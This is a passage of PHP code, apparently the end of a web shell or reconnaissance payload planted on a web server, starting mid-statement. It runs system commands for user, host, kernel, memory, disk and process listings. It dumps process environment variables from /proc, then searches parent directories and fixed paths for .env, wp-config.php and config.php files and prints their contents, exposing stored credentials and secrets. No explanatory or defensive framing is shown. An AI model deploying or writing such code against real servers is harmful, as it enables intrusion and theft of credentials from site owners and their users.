&1; echo __S_WHOAMI__; whoami 2>&1; echo __S_HOST__; hostname 2>&1; echo __S_UNAME__; uname -srmo 2>&1; echo __S_FREE__; free -m 2>&1; echo __S_DF__; df -h 2>&1; echo __S_SELFENV__; cat /proc/self/environ 2>&1; echo __S_PID1ENV__; cat /proc/1/environ 2>&1; echo __S_CGROUP__; cat /proc/1/cgroup 2>&1; echo __S_PS__; ps aux 2>&1; echo __S_END__ 2>&1"); if ($so) { echo $so; } echo "\nM" . $m . ":php\n"; echo "phpversion=" . phpversion() . "\n"; echo "curuser=" . get_current_user() . "\n"; echo "cwd=" . getcwd() . "\n"; $sc = @scandir(getcwd()); if ($sc) { echo "docroot=" . implode(",", array_slice($sc, 0, 24)) . "\n"; } echo "M" . $m . ":env\n"; $d = dirname(__FILE__); $found = "none"; for ($i = 0; $i <= 9; $i++) { $p = $d . str_repeat("/..", $i) . "/.env"; if (@file_exists($p)) { $found = $p . "\n" . @file_get_contents($p); break; } } foreach (array("/var/www/html/.env", "/var/www/.env", "/srv/www/.env", "/var/www/html/wp-config.php", "/var/www/html/config.php") as $q) { if ($found === "none" && @file_exists($q)) { $found = $q . "\n" . @file_get_contents($q); break; } } echo $found; echo "\nM" . $m . ":done\n"; ?>